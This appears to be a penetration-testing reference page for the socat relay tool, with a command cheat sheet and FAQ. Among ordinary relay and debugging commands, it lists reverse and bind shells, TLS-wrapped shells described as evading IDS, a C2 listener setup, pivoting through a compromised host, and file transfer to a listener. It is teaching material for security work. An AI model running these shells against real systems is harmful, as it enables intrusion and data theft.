Maintaining Access
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.
sudo apt install socat
socat [options] <address1> <address2>
Socat (SOcket CAT) is a powerful command-line utility that establishes two bidirectional byte streams and transfers data between them. It acts as a multipurpose relay tool, capable of connecting virtually any two data endpoints together.
Socat supports a vast array of address types including TCP, UDP, SCTP, UNIX domain sockets, pipes, files, SSL/TLS, and PTY devices. This makes it invaluable for penetration testers who need to create reverse shells, forward ports through firewalls, or tunnel traffic over encrypted channels.
Unlike simpler tools like Netcat, Socat provides advanced features such as SSL encryption, data manipulation, forking for multiple connections, and complex address chaining. It is an essential tool in every security professional's arsenal for network relay and post-exploitation pivoting.
| Command | Purpose |
|---|---|
socat -V | Print the version and compiled features. |
socat -hhh | Print full address and option help. |
socat - TCP:127.0.0.1:8080 | Connect standard input/output to a local TCP service. |
socat - TCP4-LISTEN:8080,bind=127.0.0.1,reuseaddr | Open a loopback-only listener for local testing. |
socat -VPrint the socat version and the features compiled in (OpenSSL, readline, etc.).socat -hhhShow the full help including every supported address type and option.socat - TCP:10.10.10.10:4444Connect to a TCP port and bridge it to STDIO, working like a netcat client.socat - TCP-LISTEN:4444,reuseaddrListen on a TCP port and bridge to STDIO, working like a netcat listener.socat -v TCP-LISTEN:8080,fork TCP:example.com:80Relay traffic to a remote service while printing all transferred data to stderr.socat -x -v TCP-LISTEN:8080,fork TCP:example.com:80Same relay but dump the data as hex for protocol inspection.socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80Run a forwarding relay with verbose diagnostic logging (two -d for more detail).socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashOpen a bind shell that spawns /bin/bash for each incoming TCP connection.socat TCP:10.10.10.10:4444 EXEC:/bin/bashConnect back to a listener and pipe a bash process to it (reverse shell).socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Attacker-side listener that provides a fully interactive TTY for the incoming shell.socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneVictim-side reverse shell that allocates a PTY for a fully interactive session.socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80Forward a local TCP port to a remote host and port (pivot/port forward).socat UDP-LISTEN:53,reuseaddr,fork UDP:10.10.10.10:53Relay UDP datagrams (e.g. DNS) between a local port and a remote server.socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sockExpose a local UNIX domain socket (such as the Docker API socket) over TCP.socat UNIX-LISTEN:/tmp/mysql.sock,fork TCP:10.10.10.10:3306Present a remote TCP service as a local UNIX socket for legacy clients.socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork EXEC:/bin/bashTLS-encrypted bind shell using a PEM certificate, with client verification disabled.socat OPENSSL:10.10.10.10:4444,verify=0 EXEC:/bin/bashTLS-encrypted reverse shell that connects out to an OpenSSL listener.socat OPENSSL-LISTEN:8443,cert=shell.pem,verify=0,fork TCP:127.0.0.1:80Wrap a plaintext local service in TLS, exposing it as an HTTPS endpoint.socat - OPENSSL:example.com:443,verify=0Open an interactive TLS client to a service for manual protocol testing.socat -u FILE:tosend.dat TCP:10.10.10.10:4444Send a file over a one-way TCP stream to a listening receiver.socat -u TCP-LISTEN:4444,reuseaddr OPEN:received.dat,creatReceive a one-way TCP stream and write it to a file, creating it if needed.socat -d -d PTY,raw,echo=0 PTY,raw,echo=0Create a pair of linked pseudo-terminals and print their /dev/pts names.socat - /dev/ttyUSB0,b115200,raw,echo=0Attach STDIO to a serial device at 115200 baud in raw mode.socat TCP-LISTEN:8080,reuseaddr,fork SOCKS4A:127.0.0.1:example.com:80,socksport=9050Tunnel a forwarded connection through a SOCKS4a proxy (e.g. Tor on 9050).socat TCP4-LISTEN:4444,reuseaddr,fork,range=192.168.1.0/24 TCP:10.10.10.10:80Forward a port but only accept clients from an allowed IPv4 range.socat READLINE,history=/tmp/socat.hist TCP:example.com:80Interactive client with line editing and command history for manual protocol work.Establish reverse shell connections from compromised targets back to your listener.
Forward TCP/UDP ports through firewalls and NAT boundaries for internal access.
Wrap plaintext connections in SSL/TLS to evade detection and IDS systems.
Bidirectional relay between different protocols such as TCP to UNIX sockets or files.
Create fully interactive TTY shells with proper terminal handling for post-exploitation.
Transfer files between systems by connecting file descriptors to network sockets.
Socat uses the format: socat [options] <address1> <address2>. Address types include TCP:<host>:<port>, TCP-LISTEN:<port>, UDP:<host>:<port>, OPENSSL:<host>:<port>, EXEC:<program>, FILE:<path>, and UNIX-CONNECT:<socket>. Common options include -d for debug, -v for verbose, -u for unidirectional, and fork for multiple connections.
SSH tunneling requires a running SSH server and client keys. Socat can create port forwards without any pre-existing infrastructure. SSH provides strong authentication and encryption by default, while socat offers more address types and protocol translation. Use SSH for authenticated tunnels, socat for lightweight or stealthy forwarding.
Yes, socat can function as a C2 listener. Use socat TCP-LISTEN:<port>,fork,reuseaddr EXEC:/bin/bash for a basic listener, or wrap it with OPENSSL-LISTEN for encrypted communication. The fork option allows handling multiple agent connections. Combine with logging options like -v or -d for traffic monitoring.
Socat can pivot traffic by forwarding ports between network segments. Example: socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80 forwards traffic through a compromised host. Chain multiple socat instances or use the SOCKS4A address to route through proxies. The range= option restricts access to specific source IP ranges.
Socat supports address chaining by connecting multiple address types in a single command. For example, socat TCP-LISTEN:4444,fork OPENSSL:10.10.10.10:4444 chains a TCP listener to an SSL connection. You can also use -u for one-way transfers and combine file operations with network sockets for complex data flows.
Yes, socat can transfer files using unidirectional mode. Send: socat -u FILE:target.txt TCP:10.10.10.10:4444. Receive: socat -u TCP-LISTEN:4444,reuseaddr OPEN:received.dat,creat. Add retry= and interval= options for unreliable networks. For bidirectional file sharing, use standard socat without the -u flag.
Maintaining Access
pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.
Maintaining Access
Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.
Post Exploitation
Chisel is a fast TCP/UDP tunnel utility that encapsulates traffic over an HTTP transport channel, secured via SSH. It is useful for traversing firewall boundaries and pivoting inside network environments.
Sniffing & Spoofing
Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.
Post Exploitation
ProxyChains forces TCP connections made by arbitrary applications to follow user-configured proxy networks (such as TOR or SOCKS4/5 configurations), useful for obfuscation and internal pivoting.
Sniffing & Spoofing
Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.
Learn SSH for secure remote access including key-based authentication, configuration, tunneling, port forwarding, and security hardening.
Networking · BeginnerHow to use WireGuard: install it on Kali Linux, build your first tunnel, verify it with wg show, and fix common problems — cheat sheet and 31 FAQs.
Linux · BeginnerUnderstand Linux command syntax, options and arguments through practical examples for navigation, files, permissions, processes, networking and text.
Networking · BeginnerUnderstand IP routing fundamentals including routing tables, routing protocols, static and dynamic routing, and how data crosses the internet.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.